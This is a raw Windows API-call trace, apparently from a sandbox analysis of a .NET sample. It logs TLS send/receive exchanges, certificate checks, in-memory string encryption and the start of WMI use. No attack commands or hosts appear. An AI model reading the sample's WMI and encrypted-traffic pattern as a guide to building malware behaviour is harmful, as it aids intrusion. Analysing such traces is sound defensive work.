	[0110.601] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x6b5e000, pwszFileMUIPath=0x73c098, pcchFileMUIPath=0x6b5e004, pululEnumerator=0x6b5dff8 | out: pwszLanguage=0x0, pcchLanguage=0x6b5e000, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x6b5e004, pululEnumerator=0x6b5dff8) returned 1
	[0110.629] CoTaskMemFree (pv=0x0) 
	[0110.629] CoTaskMemFree (pv=0x73c098) 
	[0110.629] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2290001
	[0110.641] CoTaskMemAlloc (cb=0x3ec) returned 0x543b928
	[0110.641] LoadStringW (in: hInstance=0x2290001, uID=0x370, lpBuffer=0x543b928, cchBufferMax=500 | out: lpBuffer="(UTC) Monrovia, Reykjavik") returned 0x19
	[0110.641] CoTaskMemFree (pv=0x543b928) 
	[0110.641] FreeLibrary (hLibModule=0x2290001) returned 1
	[0110.641] CoTaskMemAlloc (cb=0x20c) returned 0x73c098
	[0110.641] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x73c098 | out: pszPath="C:\\Windows\\system32") returned 0x0
	[0110.641] CoTaskMemFree (pv=0x73c098) 
	[0110.641] CoTaskMemAlloc (cb=0x20c) returned 0x73c098
	[0110.642] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x6b5e000, pwszFileMUIPath=0x73c098, pcchFileMUIPath=0x6b5e004, pululEnumerator=0x6b5dff8 | out: pwszLanguage=0x0, pcchLanguage=0x6b5e000, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x6b5e004, pululEnumerator=0x6b5dff8) returned 1
	[0110.642] CoTaskMemFree (pv=0x0) 
	[0110.642] CoTaskMemFree (pv=0x73c098) 
	[0110.642] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2290001
	[0110.643] CoTaskMemAlloc (cb=0x3ec) returned 0x543b928
	[0110.643] LoadStringW (in: hInstance=0x2290001, uID=0x110, lpBuffer=0x543b928, cchBufferMax=500 | out: lpBuffer="Greenwich Standard Time") returned 0x17
	[0110.643] CoTaskMemFree (pv=0x543b928) 
	[0110.643] FreeLibrary (hLibModule=0x2290001) returned 1
	[0110.643] CoTaskMemAlloc (cb=0x20c) returned 0x73c098
	[0110.643] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x73c098 | out: pszPath="C:\\Windows\\system32") returned 0x0
	[0110.644] CoTaskMemFree (pv=0x73c098) 
	[0110.644] CoTaskMemAlloc (cb=0x20c) returned 0x73c098
	[0110.644] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x6b5e000, pwszFileMUIPath=0x73c098, pcchFileMUIPath=0x6b5e004, pululEnumerator=0x6b5dff8 | out: pwszLanguage=0x0, pcchLanguage=0x6b5e000, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x6b5e004, pululEnumerator=0x6b5dff8) returned 1
	[0110.644] CoTaskMemFree (pv=0x0) 
	[0110.644] CoTaskMemFree (pv=0x73c098) 
	[0110.644] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2290001
	[0110.645] CoTaskMemAlloc (cb=0x3ec) returned 0x543b928
	[0110.645] LoadStringW (in: hInstance=0x2290001, uID=0x10f, lpBuffer=0x543b928, cchBufferMax=500 | out: lpBuffer="Greenwich Daylight Time") returned 0x17
	[0110.645] CoTaskMemFree (pv=0x543b928) 
	[0110.645] FreeLibrary (hLibModule=0x2290001) returned 1
	[0110.646] RegCloseKey (hKey=0x664) returned 0x0
	[0110.646] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x542d128, pTime=0x6b5e274, hAdditionalStore=0x710630, pChainPara=0x6b5e1b4, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x6b5e1a8 | out: ppChainContext=0x6b5e1a8) returned 1
	[0111.411] CertDuplicateCertificateChain (pChainContext=0x72b8c0) returned 0x72b8c0
	[0111.411] CertDuplicateCRLContext (pCrlContext=0x542d128) returned 0x542d128
	[0111.411] CertDuplicateCRLContext (pCrlContext=0x6e3e278) returned 0x6e3e278
	[0111.411] CertDuplicateCRLContext (pCrlContext=0x6e3e2c8) returned 0x6e3e2c8
	[0111.411] CertFreeCertificateChain (pChainContext=0x72b8c0) 
	[0111.411] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x72b8c0, pPolicyPara=0x6b5e354, pPolicyStatus=0x6b5e340 | out: pPolicyStatus=0x6b5e340) returned 1
	[0111.412] SetLastError (dwErrCode=0x0) 
	[0111.413] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x72b8c0, pPolicyPara=0x6b5e3c0, pPolicyStatus=0x6b5e368 | out: pPolicyStatus=0x6b5e368) returned 1
	[0111.413] CertFreeCertificateChain (pChainContext=0x72b8c0) 
	[0111.413] CertFreeCRLContext (pCrlContext=0x542d128) returned 1
	[0111.415] CoTaskMemAlloc (cb=0x20c) returned 0x6e0e3a8
	[0111.415] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x6e0e3a8, nSize=0x104 | out: lpBuffer="\xc518\x6e1\x7c50\x6e0\x16f7\xed96\x29ee\xf07e\x3aa5\x69fb\x20ef\xebfe\x622b\x1269\xa757\x1dd\xc513\x474b\x49a3\x8824\xfec1\x8bf2\x1ea1\x91a2\xc593\x4d41\xa81a\x16bc\x8e01\xe8c5\x696\x54af\xb58\x539\x2c9f\xfabf\xdc97\xa6e\x100f\xb549\x402e\x1188\x2fbf\xfbb3\x31cf\x6550\x2a60\xa2e0\x9d73\xd1b0\x1a69\xd2ef\x220\xcb9a\x436d\x535a\x5684\x65c3\xc0e7\x2c79\xa264\x66c3\x511e\x6ed7\x64c9\x3179\x3c68\x7657\xa2e0\x41cd\x364f\x4549\x787d\x973b\x1dbd\x187c\x806a\x381e\xb8f\x8880\x2914\xeb4f\x929\x89cc\xdf9a\x50d8\x7a62\xe636\x276b\xfe6a\x4b16\x8652\x7c70\x328c\xb89f\xef51\x400a\xce15\x2679\x7d2b\xb9a4\xb3b1\x3ad\x7375\xdc35\x01\xe7e8\x9fbb\x885b\x34ff\xfbad\x5389\xa9fe\x1cb1\xa4c8\x5acf\x976\x2d35\x485a\x5d0e\xd556\x1868\xda72\x6ba8\xce24\x1eff\x4bea\xca52\x1fcd\x6fda\x5f1b\x4ee0\xe908\x1269\xd611\xf81\xc55a\x9604\xdf10\x1401\x9dd4\xed96\x58a8\xfe22\x3aec\xb8b4\xb65c\x77db\x13e\x740d\xe15e\x6e5d\x3a6c\xb2be\x57e5\xe943\x71fe\x173a\xf969\xab50\xf4a7\xfac6\xd360\x540\x2368\xf591\xeff0\x4ab6\xbfd1\xee77\xd040\x44c\xce30\x9aaf\xd59f\x5d1f\x628c\x2e4f\xe596\x2d10\xfddf\x3465\xbc92\xaca5\xa97b\x9a3c\x3f18\xd386\x5d9b\x993c\xaee1\x9128\x9b36\xce86\xc397\x89a8\x5d1f\xbe32\xc9b0\xbab6\x8782\x68c4\xe242\xe783\x7f95\xc7e1\xf470\x777f\xd6eb\x14b0\xf6d6\x7633\x2065\xaf27\x859d\x19c9\xd894\x195\xb4e9\x79ad\x838f\xcd73\x4760\x10ae\xbff5\x31ea\xd986\x82d4\x465b\x4c4e\xfc52\x8c8a\x23ca\xfffe\x1817\x6044\x77a4\xcb00\x452\xac76\x5601\xe34e\x5b37\xa530\xf689\xd2ca\xb7a5\xa2f1\x2aa9\xe797\x258d\x9457\x31db\xe100\xb415\x35ad\x8705\x7871\xb9a0\x73df") returned 0x0
	[0111.415] CoTaskMemFree (pv=0x6e0e3a8) 
	[0111.415] CoTaskMemAlloc (cb=0x210) returned 0x6e0e3a8
	[0111.415] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x6e0e3a8, nSize=0x106 | out: lpBuffer="\xc518\x6e1\x7c50\x6e0\x16f7\xed96\x29ee\xf07e\x3aa5\x69fb\x20ef\xebfe\x622b\x1269\xa757\x1dd\xc513\x474b\x49a3\x8824\xfec1\x8bf2\x1ea1\x91a2\xc593\x4d41\xa81a\x16bc\x8e01\xe8c5\x696\x54af\xb58\x539\x2c9f\xfabf\xdc97\xa6e\x100f\xb549\x402e\x1188\x2fbf\xfbb3\x31cf\x6550\x2a60\xa2e0\x9d73\xd1b0\x1a69\xd2ef\x220\xcb9a\x436d\x535a\x5684\x65c3\xc0e7\x2c79\xa264\x66c3\x511e\x6ed7\x64c9\x3179\x3c68\x7657\xa2e0\x41cd\x364f\x4549\x787d\x973b\x1dbd\x187c\x806a\x381e\xb8f\x8880\x2914\xeb4f\x929\x89cc\xdf9a\x50d8\x7a62\xe636\x276b\xfe6a\x4b16\x8652\x7c70\x328c\xb89f\xef51\x400a\xce15\x2679\x7d2b\xb9a4\xb3b1\x3ad\x7375\xdc35\x01\xe7e8\x9fbb\x885b\x34ff\xfbad\x5389\xa9fe\x1cb1\xa4c8\x5acf\x976\x2d35\x485a\x5d0e\xd556\x1868\xda72\x6ba8\xce24\x1eff\x4bea\xca52\x1fcd\x6fda\x5f1b\x4ee0\xe908\x1269\xd611\xf81\xc55a\x9604\xdf10\x1401\x9dd4\xed96\x58a8\xfe22\x3aec\xb8b4\xb65c\x77db\x13e\x740d\xe15e\x6e5d\x3a6c\xb2be\x57e5\xe943\x71fe\x173a\xf969\xab50\xf4a7\xfac6\xd360\x540\x2368\xf591\xeff0\x4ab6\xbfd1\xee77\xd040\x44c\xce30\x9aaf\xd59f\x5d1f\x628c\x2e4f\xe596\x2d10\xfddf\x3465\xbc92\xaca5\xa97b\x9a3c\x3f18\xd386\x5d9b\x993c\xaee1\x9128\x9b36\xce86\xc397\x89a8\x5d1f\xbe32\xc9b0\xbab6\x8782\x68c4\xe242\xe783\x7f95\xc7e1\xf470\x777f\xd6eb\x14b0\xf6d6\x7633\x2065\xaf27\x859d\x19c9\xd894\x195\xb4e9\x79ad\x838f\xcd73\x4760\x10ae\xbff5\x31ea\xd986\x82d4\x465b\x4c4e\xfc52\x8c8a\x23ca\xfffe\x1817\x6044\x77a4\xcb00\x452\xac76\x5601\xe34e\x5b37\xa530\xf689\xd2ca\xb7a5\xa2f1\x2aa9\xe797\x258d\x9457\x31db\xe100\xb415\x35ad\x8705\x7871\xb9a0\x73df\x5a25") returned 0x0
	[0111.415] CoTaskMemFree (pv=0x6e0e3a8) 
	[0111.415] CoTaskMemAlloc (cb=0x210) returned 0x6e0e3a8
	[0111.415] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x6e0e3a8, nSize=0x106 | out: lpBuffer="\xc518\x6e1\x7c50\x6e0\x16f7\xed96\x29ee\xf07e\x3aa5\x69fb\x20ef\xebfe\x622b\x1269\xa757\x1dd\xc513\x474b\x49a3\x8824\xfec1\x8bf2\x1ea1\x91a2\xc593\x4d41\xa81a\x16bc\x8e01\xe8c5\x696\x54af\xb58\x539\x2c9f\xfabf\xdc97\xa6e\x100f\xb549\x402e\x1188\x2fbf\xfbb3\x31cf\x6550\x2a60\xa2e0\x9d73\xd1b0\x1a69\xd2ef\x220\xcb9a\x436d\x535a\x5684\x65c3\xc0e7\x2c79\xa264\x66c3\x511e\x6ed7\x64c9\x3179\x3c68\x7657\xa2e0\x41cd\x364f\x4549\x787d\x973b\x1dbd\x187c\x806a\x381e\xb8f\x8880\x2914\xeb4f\x929\x89cc\xdf9a\x50d8\x7a62\xe636\x276b\xfe6a\x4b16\x8652\x7c70\x328c\xb89f\xef51\x400a\xce15\x2679\x7d2b\xb9a4\xb3b1\x3ad\x7375\xdc35\x01\xe7e8\x9fbb\x885b\x34ff\xfbad\x5389\xa9fe\x1cb1\xa4c8\x5acf\x976\x2d35\x485a\x5d0e\xd556\x1868\xda72\x6ba8\xce24\x1eff\x4bea\xca52\x1fcd\x6fda\x5f1b\x4ee0\xe908\x1269\xd611\xf81\xc55a\x9604\xdf10\x1401\x9dd4\xed96\x58a8\xfe22\x3aec\xb8b4\xb65c\x77db\x13e\x740d\xe15e\x6e5d\x3a6c\xb2be\x57e5\xe943\x71fe\x173a\xf969\xab50\xf4a7\xfac6\xd360\x540\x2368\xf591\xeff0\x4ab6\xbfd1\xee77\xd040\x44c\xce30\x9aaf\xd59f\x5d1f\x628c\x2e4f\xe596\x2d10\xfddf\x3465\xbc92\xaca5\xa97b\x9a3c\x3f18\xd386\x5d9b\x993c\xaee1\x9128\x9b36\xce86\xc397\x89a8\x5d1f\xbe32\xc9b0\xbab6\x8782\x68c4\xe242\xe783\x7f95\xc7e1\xf470\x777f\xd6eb\x14b0\xf6d6\x7633\x2065\xaf27\x859d\x19c9\xd894\x195\xb4e9\x79ad\x838f\xcd73\x4760\x10ae\xbff5\x31ea\xd986\x82d4\x465b\x4c4e\xfc52\x8c8a\x23ca\xfffe\x1817\x6044\x77a4\xcb00\x452\xac76\x5601\xe34e\x5b37\xa530\xf689\xd2ca\xb7a5\xa2f1\x2aa9\xe797\x258d\x9457\x31db\xe100\xb415\x35ad\x8705\x7871\xb9a0\x73df\x5a25") returned 0x0
	[0111.415] CoTaskMemFree (pv=0x6e0e3a8) 
	[0111.415] CoTaskMemAlloc (cb=0x210) returned 0x6e0e3a8
	[0111.415] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x6e0e3a8, nSize=0x106 | out: lpBuffer="\xc518\x6e1\x7c50\x6e0\x16f7\xed96\x29ee\xf07e\x3aa5\x69fb\x20ef\xebfe\x622b\x1269\xa757\x1dd\xc513\x474b\x49a3\x8824\xfec1\x8bf2\x1ea1\x91a2\xc593\x4d41\xa81a\x16bc\x8e01\xe8c5\x696\x54af\xb58\x539\x2c9f\xfabf\xdc97\xa6e\x100f\xb549\x402e\x1188\x2fbf\xfbb3\x31cf\x6550\x2a60\xa2e0\x9d73\xd1b0\x1a69\xd2ef\x220\xcb9a\x436d\x535a\x5684\x65c3\xc0e7\x2c79\xa264\x66c3\x511e\x6ed7\x64c9\x3179\x3c68\x7657\xa2e0\x41cd\x364f\x4549\x787d\x973b\x1dbd\x187c\x806a\x381e\xb8f\x8880\x2914\xeb4f\x929\x89cc\xdf9a\x50d8\x7a62\xe636\x276b\xfe6a\x4b16\x8652\x7c70\x328c\xb89f\xef51\x400a\xce15\x2679\x7d2b\xb9a4\xb3b1\x3ad\x7375\xdc35\x01\xe7e8\x9fbb\x885b\x34ff\xfbad\x5389\xa9fe\x1cb1\xa4c8\x5acf\x976\x2d35\x485a\x5d0e\xd556\x1868\xda72\x6ba8\xce24\x1eff\x4bea\xca52\x1fcd\x6fda\x5f1b\x4ee0\xe908\x1269\xd611\xf81\xc55a\x9604\xdf10\x1401\x9dd4\xed96\x58a8\xfe22\x3aec\xb8b4\xb65c\x77db\x13e\x740d\xe15e\x6e5d\x3a6c\xb2be\x57e5\xe943\x71fe\x173a\xf969\xab50\xf4a7\xfac6\xd360\x540\x2368\xf591\xeff0\x4ab6\xbfd1\xee77\xd040\x44c\xce30\x9aaf\xd59f\x5d1f\x628c\x2e4f\xe596\x2d10\xfddf\x3465\xbc92\xaca5\xa97b\x9a3c\x3f18\xd386\x5d9b\x993c\xaee1\x9128\x9b36\xce86\xc397\x89a8\x5d1f\xbe32\xc9b0\xbab6\x8782\x68c4\xe242\xe783\x7f95\xc7e1\xf470\x777f\xd6eb\x14b0\xf6d6\x7633\x2065\xaf27\x859d\x19c9\xd894\x195\xb4e9\x79ad\x838f\xcd73\x4760\x10ae\xbff5\x31ea\xd986\x82d4\x465b\x4c4e\xfc52\x8c8a\x23ca\xfffe\x1817\x6044\x77a4\xcb00\x452\xac76\x5601\xe34e\x5b37\xa530\xf689\xd2ca\xb7a5\xa2f1\x2aa9\xe797\x258d\x9457\x31db\xe100\xb415\x35ad\x8705\x7871\xb9a0\x73df\x5a25") returned 0x0
	[0111.415] CoTaskMemFree (pv=0x6e0e3a8) 
	[0111.416] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24c90a8, MessageSeqNo=0x0 | out: pMessage=0x24c90a8) returned 0x0
	[0111.416] send (in: s=0x368, buf=0x24c7b80*, len=53, flags=0 | out: buf=0x24c7b80*) returned 53
	[0111.416] recv (in: s=0x368, buf=0x24d54b8, len=5, flags=0 | out: buf=0x24d54b8*) returned 5
	[0111.440] recv (in: s=0x368, buf=0x24d54bd, len=256, flags=0 | out: buf=0x24d54bd*) returned 256
	[0111.440] DecryptMessage (in: phContext=0x24bbaa8, pMessage=0x24d9578, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x24d9578, pfQOP=0x0) returned 0x0
	[0111.622] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24da54c, MessageSeqNo=0x0 | out: pMessage=0x24da54c) returned 0x0
	[0111.622] send (in: s=0x368, buf=0x24c7b80*, len=85, flags=0 | out: buf=0x24c7b80*) returned 85
	[0111.622] recv (in: s=0x368, buf=0x24d54b8, len=5, flags=0 | out: buf=0x24d54b8*) returned 5
	[0111.642] recv (in: s=0x368, buf=0x24d54bd, len=48, flags=0 | out: buf=0x24d54bd*) returned 48
	[0111.642] DecryptMessage (in: phContext=0x24bbaa8, pMessage=0x24da6cc, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x24da6cc, pfQOP=0x0) returned 0x0
	[0111.643] SysStringLen (param_1="\xd6ba\x9d2f\x2d88\xdac\xb175\x9f7a\x8063\x5bfc\x32d8\xa242\xb5f3\xe25f\x9c51\x1358\xe8d2\x61e8") returned 0x10
	[0111.643] SystemFunction041 (in: Memory=0x714794, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x714794) returned 0x0
	[0111.643] SysStringLen (param_1="pnurezatdwsdhunf") returned 0x10
	[0111.643] SystemFunction040 (in: Memory=0x714794, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x714794) returned 0x0
	[0111.643] SysStringLen (param_1="pnurezatdwsdhunf") returned 0x10
	[0111.643] SysStringLen (param_1="pnurezatdwsdhunf") returned 0x10
	[0111.643] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24daa08, MessageSeqNo=0x0 | out: pMessage=0x24daa08) returned 0x0
	[0111.643] send (in: s=0x368, buf=0x24c7b80*, len=53, flags=0 | out: buf=0x24c7b80*) returned 53
	[0111.643] recv (in: s=0x368, buf=0x24d54b8, len=5, flags=0 | out: buf=0x24d54b8*) returned 5
	[0111.818] recv (in: s=0x368, buf=0x24d54bd, len=48, flags=0 | out: buf=0x24d54bd*) returned 48
	[0111.818] DecryptMessage (in: phContext=0x24bbaa8, pMessage=0x24dab88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x24dab88, pfQOP=0x0) returned 0x0
	[0111.835] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24db050, MessageSeqNo=0x0 | out: pMessage=0x24db050) returned 0x0
	[0111.835] send (in: s=0x368, buf=0x24c7b80*, len=69, flags=0 | out: buf=0x24c7b80*) returned 69
	[0111.836] recv (in: s=0x368, buf=0x24d54b8, len=5, flags=0 | out: buf=0x24d54b8*) returned 5
	[0111.856] recv (in: s=0x368, buf=0x24d54bd, len=80, flags=0 | out: buf=0x24d54bd*) returned 80
	[0111.856] DecryptMessage (in: phContext=0x24bbaa8, pMessage=0x24db1d0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x24db1d0, pfQOP=0x0) returned 0x0
	[0111.856] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24db564, MessageSeqNo=0x0 | out: pMessage=0x24db564) returned 0x0
	[0111.856] send (in: s=0x368, buf=0x24c7b80*, len=69, flags=0 | out: buf=0x24c7b80*) returned 69
	[0111.856] recv (in: s=0x368, buf=0x24d54b8, len=5, flags=0 | out: buf=0x24d54b8*) returned 5
	[0111.876] recv (in: s=0x368, buf=0x24d54bd, len=80, flags=0 | out: buf=0x24d54bd*) returned 80
	[0111.876] DecryptMessage (in: phContext=0x24bbaa8, pMessage=0x24db6e4, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x24db6e4, pfQOP=0x0) returned 0x0
	[0111.876] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24db950, MessageSeqNo=0x0 | out: pMessage=0x24db950) returned 0x0
	[0111.876] send (in: s=0x368, buf=0x24c7b80*, len=37, flags=0 | out: buf=0x24c7b80*) returned 37
	[0111.877] recv (in: s=0x368, buf=0x24d54b8, len=5, flags=0 | out: buf=0x24d54b8*) returned 5
	[0112.224] recv (in: s=0x368, buf=0x24d54bd, len=80, flags=0 | out: buf=0x24d54bd*) returned 80
	[0112.225] DecryptMessage (in: phContext=0x24bbaa8, pMessage=0x24dbad0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x24dbad0, pfQOP=0x0) returned 0x0
	[0112.258] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24e25b0, MessageSeqNo=0x0 | out: pMessage=0x24e25b0) returned 0x0
	[0112.258] send (in: s=0x368, buf=0x24c7b80*, len=309, flags=0 | out: buf=0x24c7b80*) returned 309
	[0112.260] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24e6810, MessageSeqNo=0x0 | out: pMessage=0x24e6810) returned 0x0
	[0112.260] send (in: s=0x368, buf=0x24c7b80*, len=2725, flags=0 | out: buf=0x24c7b80*) returned 2725
	[0112.261] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24e6930, MessageSeqNo=0x0 | out: pMessage=0x24e6930) returned 0x0
	[0112.261] send (in: s=0x368, buf=0x24c7b80*, len=37, flags=0 | out: buf=0x24c7b80*) returned 37
	[0112.261] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24e6a50, MessageSeqNo=0x0 | out: pMessage=0x24e6a50) returned 0x0
	[0112.261] send (in: s=0x368, buf=0x24c7b80*, len=37, flags=0 | out: buf=0x24c7b80*) returned 37
	[0112.261] recv (in: s=0x368, buf=0x24d54b8, len=5, flags=0 | out: buf=0x24d54b8*) returned 5
	[0112.907] recv (in: s=0x368, buf=0x24d54bd, len=80, flags=0 | out: buf=0x24d54bd*) returned 80
	[0112.907] DecryptMessage (in: phContext=0x24bbaa8, pMessage=0x24e6bd0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x24e6bd0, pfQOP=0x0) returned 0x0
	[0112.915] ReleaseSemaphore (in: hSemaphore=0x52c, lReleaseCount=1, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1
	[0112.915] CoGetContextToken (in: pToken=0x6b5f190 | out: pToken=0x6b5f190) returned 0x0
	[0112.915] CoGetContextToken (in: pToken=0x6b5eb90 | out: pToken=0x6b5eb90) returned 0x0
	[0112.915] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0112.915] IUnknown:Release (This=0x72cb4c) returned 0x1
	[0112.915] IUnknown:Release (This=0x69b09c4) returned 0x0
	[0113.146] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0113.146] IUnknown:Release (This=0x69c6f68) returned 0x2
	[0113.146] IUnknown:Release (This=0x69c6f68) returned 0x1
	[0113.146] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0113.146] IUnknown:Release (This=0x72c96c) returned 0x1
	[0113.146] IUnknown:Release (This=0x69bd28c) returned 0x0
	[0113.333] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0113.333] IUnknown:Release (This=0x72d1dc) returned 0x1
	[0113.333] IUnknown:Release (This=0x69bd91c) returned 0x0
	[0113.473] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0113.473] IUnknown:Release (This=0x69bd2c8) returned 0x2
	[0113.473] IUnknown:Release (This=0x69bd2c8) returned 0x1
	[0113.473] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0113.473] IUnknown:Release (This=0x72ce1c) returned 0x1
	[0113.473] IUnknown:Release (This=0x69c6e64) returned 0x0
	[0113.615] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0113.615] IUnknown:Release (This=0x72c78c) returned 0x1
	[0113.615] IUnknown:Release (This=0x69bc9d4) returned 0x0
	[0113.615] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0113.615] IUnknown:Release (This=0x69bd958) returned 0x2
	[0113.615] IUnknown:Release (This=0x69bd958) returned 0x1
	[0113.615] CoGetContextToken (in: pToken=0x6b5eb18 | out: pToken=0x6b5eb18) returned 0x0
	[0113.615] IUnknown:Release (This=0x72cffc) returned 0x1
	[0113.615] IUnknown:Release (This=0x69c7ac4) returned 0x0
	[0113.615] IUnknown:Release (This=0x69a2c8) returned 0x0
	[0113.615] CoUninitialize () 

Thread:
	id = 163
	os_tid = 0xacc

	[0102.194] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0102.194] CoGetClassObject (in: rclsid=0x54200f4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e9e6e0 | out: ppv=0x5e9e6e0*=0x69c0a38) returned 0x0
	[0102.194] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0a38, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e9e8f8 | out: ppvObject=0x5e9e8f8*=0x0) returned 0x80004002
	[0102.194] WbemLocator:IClassFactory:CreateInstance (in: This=0x69c0a38, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9e90c | out: ppvObject=0x5e9e90c*=0x69b0aa0) returned 0x0
	[0102.194] WbemLocator:IUnknown:Release (This=0x69c0a38) returned 0x0
	[0102.194] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9e52c | out: ppvObject=0x5e9e52c*=0x69b0aa0) returned 0x0
	[0102.194] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa0, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e9e4e8 | out: ppvObject=0x5e9e4e8*=0x0) returned 0x80004002
	[0102.195] WbemLocator:IUnknown:AddRef (This=0x69b0aa0) returned 0x3
	[0102.195] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa0, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e9de44 | out: ppvObject=0x5e9de44*=0x0) returned 0x80004002
	[0102.195] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa0, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e9ddf4 | out: ppvObject=0x5e9ddf4*=0x0) returned 0x80004002
	[0102.195] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa0, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9de00 | out: ppvObject=0x5e9de00*=0x0) returned 0x80004002
	[0102.195] CoGetContextToken (in: pToken=0x5e9de60 | out: pToken=0x5e9de60) returned 0x0
